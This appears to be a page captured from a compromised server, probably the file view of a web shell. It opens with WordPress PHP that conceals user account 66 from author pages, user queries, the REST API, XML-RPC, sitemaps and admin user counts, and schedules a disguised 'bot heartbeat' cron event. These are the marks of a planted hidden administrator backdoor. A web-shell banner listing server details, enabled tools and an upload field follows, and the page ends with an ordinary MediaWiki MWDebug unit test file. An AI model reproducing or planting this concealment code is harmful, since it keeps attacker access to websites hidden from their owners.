add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/debug/ |
Upload File : |
<?php
use MediaWiki\Api\ApiFormatXml;
use MediaWiki\Api\ApiResult;
use MediaWiki\Context\RequestContext;
use MediaWiki\Debug\MWDebug;
use MediaWiki\Exception\MWExceptionHandler;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MainConfigNames;
use MediaWiki\Request\FauxRequest;
use MediaWiki\Title\TitleValue;
use Psr\Log\LoggerInterface;
/**
* @covers \MediaWiki\Debug\MWDebug
*/
class MWDebugTest extends MediaWikiIntegrationTestCase {
protected function setUp(): void {
$this->overrideConfigValue( MainConfigNames::DevelopmentWarnings, false );
parent::setUp();
/** Clear log before each test */
MWDebug::clearLog();
}
public static function setUpBeforeClass(): void {
parent::setUpBeforeClass();
MWDebug::init();
}
public static function tearDownAfterClass(): void {
MWDebug::deinit();
parent::tearDownAfterClass();
}
public function testLog() {
@MWDebug::log( 'logging a string' );
$this->assertEquals(
[ [
'msg' => 'logging a string',
'type' => 'log',
'caller' => 'MWDebugTest->testLog',
] ],
MWDebug::getLog()
);
}
public function testWarningProduction() {
$logger = $this->createMock( LoggerInterface::class );
$logger->expects( $this->once() )->method( 'info' );
$this->setLogger( 'warning', $logger );
@MWDebug::warning( 'Ohnosecond!' );
}
public function testWarningDevelopment() {
$this->overrideConfigValue( MainConfigNames::DevelopmentWarnings, true );
$this->expectPHPError(
E_USER_NOTICE,
static function () {
MWDebug::warning( 'Ohnosecond!' );
},
'Ohnosecond!'
);
}
/**
* Message from the error channel are copied to the debug toolbar "Console" log.
*
* This normally happens via wfDeprecated -> MWDebug::deprecated -> trigger_error
* -> MWExceptionHandler -> LoggerFactory -> LegacyLogger -> MWDebug::debugMsg.
*
* The above test asserts up until trigger_error.
* This test asserts from LegacyLogger down.
*/
public function testMessagesFromErrorChannel() {
// Turn off to keep mw-error.log file empty in CI (and thus avoid build failure)
$this->overrideConfigValue( MainConfigNames::DebugLogGroups, [] );
MWExceptionHandler::handleError( E_USER_DEPRECATED, 'Warning message' );
$this->assertEquals(
[ [
'msg' => 'PHP Deprecated: Warning message',
'type' => 'warn',
'caller' => 'MWDebugTest::testMessagesFromErrorChannel',
] ],
MWDebug::getLog()
);
}
public function testDetectDeprecatedOverride() {
$baseclassInstance = new TitleValue( NS_MAIN, 'Test' );
$this->assertFalse(
MWDebug::detectDeprecatedOverride(
$baseclassInstance,
TitleValue::class,
'getNamespace',
MW_VERSION
)
);
// create a dummy subclass that overrides a method
$subclassInstance = new class ( NS_MAIN, 'Test' ) extends TitleValue {
public function getNamespace(): int {
// never called
return -100;
}
};
$this->expectPHPError(
E_USER_DEPRECATED,
static function () use ( $subclassInstance ) {
MWDebug::detectDeprecatedOverride(
$subclassInstance,
TitleValue::class,
'getNamespace',
MW_VERSION
);
},
'@anonymous'
);
}
public function testDeprecated() {
$this->expectPHPError(
E_USER_DEPRECATED,
static function () {
MWDebug::deprecated( 'wfOldFunction', '1.0', 'component' );
},
'wfOldFunction'
);
}
/**
* @doesNotPerformAssertions
*/
public function testDeprecatedIgnoreDuplicate() {
@MWDebug::deprecated( 'wfOldFunction', '1.0', 'component' );
MWDebug::deprecated( 'wfOldFunction', '1.0', 'component' );
// If we reach here, than the second one did not throw any deprecation warning.
// The first one was silenced to seed the ignore logic.
}
/**
* @doesNotPerformAssertions
*/
public function testDeprecatedIgnoreNonConsecutivesDuplicate() {
@MWDebug::deprecated( 'wfOldFunction', '1.0', 'component' );
@MWDebug::warning( 'some warning' );
@MWDebug::log( 'we could have logged something too' );
// Another deprecation (not silenced)
MWDebug::deprecated( 'wfOldFunction', '1.0', 'component' );
}
public function testDebugMsg() {
$this->overrideConfigValue( MainConfigNames::ShowDebug, true );
// Generate a log to be sure there is at least one
$logger = LoggerFactory::getInstance( 'test-debug-channel' );
$logger->debug( 'My message', [] );
$debugLog = (string)MWDebug::getHTMLDebugLog();
$this->assertNotSame( '', $debugLog, 'MWDebug::getHTMLDebugLog() should not be an empty string' );
$this->assertStringNotContainsString( "<ul id=\"mw-debug-html\">\n</ul>", $debugLog,
'MWDebug::getHTMLDebugLog() should contain a non-empty debug log'
);
}
public function testAppendDebugInfoToApiResultXmlFormat() {
$request = $this->newApiRequest(
[ 'action' => 'help', 'format' => 'xml' ],
'/api.php?action=help&format=xml'
);
$context = new RequestContext();
$context->setRequest( $request );
$result = new ApiResult( false );
MWDebug::appendDebugInfoToApiResult( $context, $result );
$this->assertInstanceOf( ApiResult::class, $result );
$data = $result->getResultData();
$expectedKeys = [ 'mwVersion', 'phpEngine', 'phpVersion', 'gitRevision', 'gitBranch',
'gitViewUrl', 'time', 'log', 'debugLog', 'queries', 'request', 'memory',
'memoryPeak', 'includes', '_element' ];
foreach ( $expectedKeys as $expectedKey ) {
$this->assertArrayHasKey( $expectedKey, $data['debuginfo'], "debuginfo has $expectedKey" );
}
$xml = ApiFormatXml::recXmlPrint( 'help', $data, null );
// exception not thrown
$this->assertIsString( $xml );
}
/**
* @param string[] $params
* @param string $requestUrl
* @return FauxRequest
*/
private function newApiRequest( array $params, $requestUrl ) {
$req = new FauxRequest( $params );
$req->setRequestURL( $requestUrl );
return $req;
}
}